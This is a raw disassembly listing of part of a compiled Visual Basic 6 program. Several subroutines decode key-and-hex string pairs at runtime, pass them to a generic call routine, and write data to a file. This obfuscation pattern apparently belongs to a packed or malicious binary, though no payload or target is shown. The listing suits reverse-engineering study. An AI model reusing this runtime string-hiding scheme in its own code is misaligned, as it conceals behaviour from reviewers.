		mov	[ebp+var_54], esi
		mov	[ebp+var_58], esi
		mov	[ebp+var_5C], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_7C], esi
		mov	[ebp+var_8C], esi
		mov	[ebp+var_9C], esi
		mov	[ebp+var_A0], esi
		mov	[ebp+var_B0], esi
		mov	[ebp+var_C0], esi
		mov	[ebp+var_D0], esi
		mov	[ebp+var_D4], esi
		call	__vbaAryConstruct2
		mov	edx, offset aS6llzg0jm ; "s6LlzG0Jm"
		lea	ecx, [ebp+var_44]
		call	__vbaStrCopy
		mov	edx, offset a62cb79d3b18dc6 ; "62CB79D3B18DC608"
		lea	ecx, [ebp+var_40]
		call	__vbaStrCopy
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_58]
		call	__vbaStrMove
		mov	edx, offset a16j2qgan9w	; "16J2qgaN9w"
		lea	ecx, [ebp+var_4C]
		call	__vbaStrCopy
		mov	edx, offset a7b0af891653b6e ; "7B0AF891653B6EFA12A7FE509A9924B5"
		lea	ecx, [ebp+var_48]
		call	__vbaStrCopy
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_5C]
		call	__vbaStrMove
		push	esi
		push	esi
		push	1
		push	esi
		lea	eax, [ebp+var_A0]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	2
		pop	edi
		push	esi
		push	[ebp+var_A0]
		mov	[ebp+var_A8], esi
		mov	[ebp+var_B0], edi
		lea	ebx, [ebp+var_B0]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	edx, [ebp+var_5C]
		lea	ecx, [ebp+var_54]
		mov	[ebp+var_5C], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_58]
		lea	ecx, [ebp+var_50]
		mov	[ebp+var_58], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_A0]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_408D64
		mov	[ebp+var_D4], eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	esi
		call	__vbaErase
		mov	eax, [ebp+var_D4]
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	8
		call	__vbaFreeStrList
		add	esp, 24h
		mov	edx, offset a22j3589p74w5 ; "22j3589P74W5"
		lea	ecx, [ebp+var_44]
		call	__vbaStrCopy
		mov	edx, offset a279edcbba0c482 ; "279EDCBBA0C48257"
		lea	ecx, [ebp+var_40]
		call	__vbaStrCopy
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_58]
		call	__vbaStrMove
		mov	edx, offset aE5nokwj4j4zk6 ; "E5noKwj4j4Zk6"
		lea	ecx, [ebp+var_4C]
		call	__vbaStrCopy
		mov	edx, offset aF74d6f4ba3113c ; "F74D6F4BA3113CA094C8665388A9AFB7762C"
		lea	ecx, [ebp+var_48]
		call	__vbaStrCopy
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_5C]
		call	__vbaStrMove
		push	esi
		push	edi
		push	1
		push	esi
		lea	eax, [ebp+var_A0]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		lea	eax, [ebp+var_34]
		add	esp, 1Ch
		mov	[ebp+var_A8], eax
		mov	[ebp+var_B0], 4003h
		push	esi
		push	[ebp+var_A0]
		lea	ebx, [ebp+var_B0]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		push	[ebp+var_20]
		call	VarPtr
		push	1
		push	[ebp+var_A0]
		mov	[ebp+var_B8], eax
		mov	[ebp+var_C0], 3
		lea	ebx, [ebp+var_C0]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	edi
		push	[ebp+var_A0]
		mov	[ebp+var_C8], 180h
		mov	[ebp+var_D0], edi
		lea	ebx, [ebp+var_D0]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	edx, [ebp+var_5C]
		lea	ecx, [ebp+var_54]
		mov	[ebp+var_5C], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_58]
		lea	ecx, [ebp+var_50]
		mov	[ebp+var_58], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_A0]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_408D64
		lea	eax, [ebp+var_A0]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	8
		pop	ebx
		push	ebx
		call	__vbaFreeStrList
		add	esp, 24h
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_D4], eax
		push	esi
		lea	eax, [ebp+var_D4]
		mov	[ebp+var_A8], eax
		push	40h
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		mov	[ebp+var_B0], 6011h
		call	rtcStrConvVar2
		lea	eax, [ebp+var_6C]
		push	eax
		call	__vbaStrVarMove
		mov	edx, eax
		lea	ecx, [ebp+var_38]
		call	__vbaStrMove
		lea	ecx, [ebp+var_6C]
		call	__vbaFreeVar
		mov	eax, [ebp+var_38]
		mov	[ebp+var_A8], eax
		push	esi
		lea	eax, [ebp+var_6C]
		push	eax
		mov	[ebp+var_B0], ebx
		call	rtcVarBstrFromAnsi
		push	1
		pop	eax
		push	eax
		mov	[ebp+var_B8], eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		push	esi
		lea	eax, [ebp+var_7C]
		lea	ecx, [ebp+var_38]
		push	eax
		mov	[ebp+var_C0], edi
		mov	[ebp+var_C8], ecx
		mov	[ebp+var_D0], 4008h
		call	__vbaInStrVar
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	__vbaVarSub
		push	eax
		call	__vbaI4Var
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		lea	eax, [ebp+var_9C]
		push	eax
		call	rtcLeftCharVar
		lea	eax, [ebp+var_9C]
		push	eax
		call	__vbaStrVarMove
		mov	edx, eax
		lea	ecx, [ebp+var_3C]
		call	__vbaStrMove
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		push	3
		call	__vbaFreeVarList
		add	esp, 10h
		push	offset loc_40D192
		jmp	short loc_40D172
; ---------------------------------------------------------------------------


loc_40D10E:				; DATA XREF: .text:004012D4o
		test	[ebp+var_4], 4
		jz	short loc_40D11C
		lea	ecx, [ebp+var_3C]
		call	__vbaFreeStr


loc_40D11C:				; CODE XREF: sub_40CCED+425j
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	8
		call	__vbaFreeStrList
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		push	4
		call	__vbaFreeVarList
		add	esp, 38h
		lea	eax, [ebp+var_A0]
		push	eax
		push	0
		call	__vbaAryDestruct
		retn
; ---------------------------------------------------------------------------


loc_40D172:				; CODE XREF: sub_40CCED+41Fj
					; DATA XREF: .text:004012D0o
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_D4], eax
		lea	eax, [ebp+var_D4]
		push	eax
		push	0
		call	__vbaAryDestruct
		lea	ecx, [ebp+var_38]
		call	__vbaFreeStr
		retn
; ---------------------------------------------------------------------------


loc_40D192:				; DATA XREF: sub_40CCED+41Ao
		mov	ecx, [ebp+var_14]
		mov	eax, [ebp+var_3C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_40CCED	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1A4	proc near		; CODE XREF: sub_4097F2+2DB6p

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset __vbaExceptHandler
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], esp
		mov	[ebp+var_4], offset dword_4012D8
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		lea	ecx, [ebp+var_18]
		mov	[ebp+var_18], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_2C], eax
		call	__vbaStrCopy
		lea	eax, [ebp+var_2C]
		push	eax
		mov	[ebp+var_24], 80020004h
		mov	[ebp+var_2C], 0Ah
		call	rtcFreeFile
		lea	ecx, [ebp+var_2C]
		mov	esi, eax
		call	__vbaFreeVar
		push	[ebp+var_18]
		push	esi
		push	0FFFFFFFFh
		push	20h
		call	__vbaFileOpen
		push	esi
		push	[ebp+arg_4]
		push	offset dword_402C44
		call	__vbaPutOwner3
		push	esi
		call	__vbaFileClose
		push	offset loc_40D23D
		jmp	short loc_40D234
; ---------------------------------------------------------------------------


loc_40D22B:				; DATA XREF: .text:004012E4o
		lea	ecx, [ebp+var_2C]
		call	__vbaFreeVar
		retn
; ---------------------------------------------------------------------------


loc_40D234:				; CODE XREF: sub_40D1A4+85j
					; DATA XREF: .text:004012E0o
		lea	ecx, [ebp+var_18]
		call	__vbaFreeStr
		retn
; ---------------------------------------------------------------------------


loc_40D23D:				; DATA XREF: sub_40D1A4+80o
		mov	ecx, [ebp+var_10]
		mov	ax, word ptr [ebp+var_1C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_40D1A4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D252	proc near		; CODE XREF: sub_4097F2+2CE5p
					; sub_4097F2+2D74p ...

var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_C8		= dword	ptr -0C8h
var_C0		= dword	ptr -0C0h
var_B8		= dword	ptr -0B8h
var_B0		= dword	ptr -0B0h
var_A8		= dword	ptr -0A8h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_8C		= dword	ptr -8Ch
var_7C		= dword	ptr -7Ch
var_6C		= dword	ptr -6Ch
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	offset __vbaExceptHandler
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0D4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], offset dword_4012E8
		xor	esi, esi
		push	11h
		push	offset dword_402EA0
		lea	eax, [ebp+var_2C]
		push	eax
		mov	[ebp+var_34], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_54], esi
		mov	[ebp+var_58], esi
		mov	[ebp+var_5C], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_7C], esi
		mov	[ebp+var_8C], esi
		mov	[ebp+var_9C], esi
		mov	[ebp+var_A0], esi
		mov	[ebp+var_B0], esi
		mov	[ebp+var_C0], esi
		mov	[ebp+var_D0], esi
		mov	[ebp+var_D4], esi
		call	__vbaAryConstruct2
		mov	edx, offset a9oi0uto5k7v ; "9oI0UTO5k7V"
		lea	ecx, [ebp+var_44]
		call	__vbaStrCopy
		mov	edx, offset a17f3eeee7cda4f ; "17F3EEEE7CDA4F4B"
		lea	ecx, [ebp+var_40]
		call	__vbaStrCopy
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_58]
		call	__vbaStrMove
		mov	edx, offset aCqbh329n ;	"CQbH329n"
		lea	ecx, [ebp+var_4C]
		call	__vbaStrCopy
		mov	edx, offset a8497bb8ad55ed7 ; "8497BB8AD55ED78523DF55AA"
		lea	ecx, [ebp+var_48]
		call	__vbaStrCopy
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_5C]
		call	__vbaStrMove
		push	esi
		push	1
		pop	edi
		push	edi
		push	edi
		push	esi
		lea	eax, [ebp+var_A0]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	esi
		push	[ebp+var_A0]
		mov	[ebp+var_A8], 0FFh
		mov	[ebp+var_B0], 2
		lea	ebx, [ebp+var_B0]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	[ebp+var_20]
		call	VarPtr
		push	edi
		push	[ebp+var_A0]
		mov	[ebp+var_B8], eax
		mov	[ebp+var_C0], 3
		lea	ebx, [ebp+var_C0]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	edx, [ebp+var_5C]
		lea	ecx, [ebp+var_54]
		mov	[ebp+var_5C], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_58]
		lea	ecx, [ebp+var_50]
		mov	[ebp+var_58], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_A0]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_408D64
		lea	eax, [ebp+var_A0]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	8
		pop	ebx
		push	ebx
		call	__vbaFreeStrList
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_D4], eax
		add	esp, 24h
		lea	eax, [ebp+var_D4]
		push	eax
		call	sub_40E0D6
		mov	edx, eax
		lea	ecx, [ebp+var_3C]
		call	__vbaStrMove
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_A8], eax
		push	esi
		lea	eax, [ebp+var_6C]
		push	eax
		mov	[ebp+var_B0], ebx
		call	rtcVarBstrFromAnsi
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_C8], eax
		push	edi
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		push	esi
		lea	eax, [ebp+var_7C]
		push	eax
		mov	[ebp+var_B8], edi
		mov	[ebp+var_C0], 2
		mov	[ebp+var_D0], 4008h
		call	__vbaInStrVar
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	__vbaVarSub
		push	eax
		call	__vbaI4Var
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		lea	eax, [ebp+var_9C]
		push	eax
		call	rtcLeftCharVar
		lea	eax, [ebp+var_9C]
		push	eax
		call	__vbaStrVarMove
		mov	edx, eax
		lea	ecx, [ebp+var_40]
		call	__vbaStrMove
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40D5AE
		mov	edx, eax
		lea	ecx, [ebp+var_34]
		call	__vbaStrMove
		lea	ecx, [ebp+var_40]
		call	__vbaFreeStr
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		push	3
		call	__vbaFreeVarList
		add	esp, 10h
		push	offset loc_40D59C
		jmp	short loc_40D57C
; ---------------------------------------------------------------------------


loc_40D518:				; DATA XREF: .text:004012F4o
		test	[ebp+var_4], 4
		jz	short loc_40D526
		lea	ecx, [ebp+var_34]
		call	__vbaFreeStr


loc_40D526:				; CODE XREF: sub_40D252+2CAj
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	8
		call	__vbaFreeStrList
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		push	4
		call	__vbaFreeVarList
		add	esp, 38h
		lea	eax, [ebp+var_A0]
		push	eax
		push	0
		call	__vbaAryDestruct
		retn
; ---------------------------------------------------------------------------


loc_40D57C:				; CODE XREF: sub_40D252+2C4j
					; DATA XREF: .text:004012F0o
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_D4], eax
		lea	eax, [ebp+var_D4]
		push	eax
		push	0
		call	__vbaAryDestruct
		lea	ecx, [ebp+var_3C]
		call	__vbaFreeStr
		retn
; ---------------------------------------------------------------------------


loc_40D59C:				; DATA XREF: sub_40D252+2BFo
		mov	ecx, [ebp+var_14]
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_40D252	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D5AE	proc near		; CODE XREF: sub_40D252+28Fp

var_DC		= dword	ptr -0DCh
var_D4		= dword	ptr -0D4h
var_CC		= dword	ptr -0CCh
var_C4		= dword	ptr -0C4h
var_BC		= dword	ptr -0BCh
var_B4		= dword	ptr -0B4h
var_AC		= dword	ptr -0ACh
var_9C		= dword	ptr -9Ch
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
var_7C		= dword	ptr -7Ch
var_6C		= dword	ptr -6Ch
var_5C		= dword	ptr -5Ch
var_4C		= dword	ptr -4Ch
var_44		= dword	ptr -44h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	offset __vbaExceptHandler
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0D4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], offset dword_4012F8
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		push	1
		lea	eax, [ebp+var_BC]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		mov	[ebp+var_18], esi
		mov	[ebp+var_1C], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_24], esi
		mov	[ebp+var_28], esi
		mov	[ebp+var_2C], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_5C], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_7C], esi
		mov	[ebp+var_8C], esi
		mov	[ebp+var_9C], esi
		mov	[ebp+var_AC], esi
		mov	[ebp+var_CC], esi
		mov	[ebp+var_DC], esi
		mov	[ebp+var_B4], edi
		mov	[ebp+var_BC], 4008h
		call	rtcRightCharVar
		mov	edx, offset a876pst813y	; "876pSt813Y"
		lea	ecx, [ebp+var_20]
		call	__vbaStrCopy
		mov	edx, offset a04	; "04"
		lea	ecx, [ebp+var_1C]
		call	__vbaStrCopy
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_2C]
		call	__vbaStrMove
		mov	eax, [edi]
		push	8
		pop	edi
		mov	edx, offset aY0x6xo45d80m3k ; "Y0X6xO45d80M3k"
		lea	ecx, [ebp+var_28]
		mov	[ebp+var_D4], eax
		mov	[ebp+var_DC], edi
		call	__vbaStrCopy
		mov	edx, offset a31	; "31"
		lea	ecx, [ebp+var_24]
		call	__vbaStrCopy
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_40DA8A
		lea	edx, [ebp+var_CC]
		lea	ecx, [ebp+var_7C]
		mov	[ebp+var_84], eax
		mov	[ebp+var_8C], edi
		mov	[ebp+var_C4], offset dword_401F34
		mov	[ebp+var_CC], edi
		call	__vbaVarDup
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_44], eax
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_5C]
		push	eax
		mov	[ebp+var_2C], esi
		mov	[ebp+var_4C], 8008h
		call	__vbaVarCmpEq
		mov	edx, eax
		lea	ecx, [ebp+var_6C]
		call	__vbaVarMove
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_9C]
		push	eax
		call	rtcImmediateIf
		lea	eax, [ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		call	__vbaVarCat
		push	eax
		call	__vbaStrVarMove
		mov	edx, eax
		lea	ecx, [ebp+var_18]
		call	__vbaStrMove
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	5
		call	__vbaFreeStrList
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	7
		call	__vbaFreeVarList
		add	esp, 38h
		push	offset loc_40D7F2
		jmp	short locret_40D7F1
; ---------------------------------------------------------------------------


loc_40D794:				; DATA XREF: .text:00401304o
		test	[ebp+var_4], 4
		jz	short loc_40D7A2
		lea	ecx, [ebp+var_18]
		call	__vbaFreeStr


loc_40D7A2:				; CODE XREF: sub_40D5AE+1EAj
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	5
		call	__vbaFreeStrList
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	8
		call	__vbaFreeVarList
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------

locret_40D7F1:				; CODE XREF: sub_40D5AE+1E4j
		retn
; ---------------------------------------------------------------------------


loc_40D7F2:				; DATA XREF: sub_40D5AE+1DFo
		mov	ecx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D5AE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D806	proc near		; CODE XREF: sub_40DA8A+40p

var_E4		= qword	ptr -0E4h
var_DC		= qword	ptr -0DCh
var_C4		= dword	ptr -0C4h
var_BC		= dword	ptr -0BCh
var_B4		= dword	ptr -0B4h
var_AC		= dword	ptr -0ACh
var_94		= dword	ptr -94h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
var_74		= dword	ptr -74h
var_64		= dword	ptr -64h
var_54		= dword	ptr -54h
var_44		= dword	ptr -44h
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0040139C SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	offset __vbaExceptHandler
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0D0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], offset dword_401310
		mov	edi, [ebp+arg_0]
		push	dword ptr [edi]
		xor	esi, esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_28], esi
		mov	[ebp+var_34], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_54], esi
		mov	[ebp+var_64], esi
		mov	[ebp+var_74], esi
		mov	[ebp+var_84], esi
		mov	[ebp+var_94], esi
		mov	[ebp+var_B4], esi
		mov	[ebp+var_C4], esi
		call	__vbaLenBstr
		mov	[ebp+var_1C], eax
		fild	[ebp+var_1C]
		fstp	[ebp+var_DC]
		fld	[ebp+var_DC]
		cmp	dword_410000, 0
		jnz	short loc_40D88E
		fdiv	ds:dbl_401308
		jmp	short loc_40D89F
; ---------------------------------------------------------------------------


loc_40D88E:				; CODE XREF: sub_40D806+7Ej
		push	dword ptr ds:dbl_401308+4
		push	dword ptr ds:dbl_401308
		call	_adj_fdiv_m64	; _adj_fdiv_m64


loc_40D89F:				; CODE XREF: sub_40D806+86j
		fnstsw	ax
		test	al, 0Dh
		jnz	loc_40DA80
		call	__vbaFpI4
		push	1
		pop	ebx
		push	esi
		sub	eax, ebx
		jo	loc_40DA85
		push	eax
		push	ebx
		push	11h
		lea	eax, [ebp+var_18]
		push	eax
		push	ebx
		push	80h
		call	__vbaRedimPreserve
		add	esp, 1Ch
		push	dword ptr [edi]
		call	__vbaLenBstr
		mov	[ebp+var_20], eax
		fild	[ebp+var_20]
		fstp	[ebp+var_E4]
		fld	[ebp+var_E4]
		cmp	dword_410000, 0
		jnz	short loc_40D8FA
		fdiv	ds:dbl_401308
		jmp	short loc_40D90B
; ---------------------------------------------------------------------------


loc_40D8FA:				; CODE XREF: sub_40D806+EAj
		push	dword ptr ds:dbl_401308+4
		push	dword ptr ds:dbl_401308
		call	_adj_fdiv_m64	; _adj_fdiv_m64


loc_40D90B:				; CODE XREF: sub_40D806+F2j
		fnstsw	ax
		test	al, 0Dh
		jnz	loc_40DA80
		call	__vbaFpI4
		push	2
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], ebx
		pop	esi


loc_40D923:				; CODE XREF: sub_40D806+20Aj
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_20]
		jg	loc_40DA15
		mov	ecx, [ebp+var_28]
		sub	eax, ebx
		jo	loc_40DA85
		imul	eax, 2
		push	8
		mov	[ebp+var_BC], ecx
		pop	ecx
		jo	loc_40DA85
		mov	[ebp+var_C4], ecx
		mov	[ebp+var_B4], ecx
		add	eax, ebx
		lea	ecx, [ebp+var_44]
		push	ecx
		jo	loc_40DA85
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		mov	[ebp+var_AC], offset asc_408760	; "&H"
		mov	[ebp+var_3C], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_8C], edi
		mov	[ebp+var_94], 4008h
		call	rtcMidCharVar
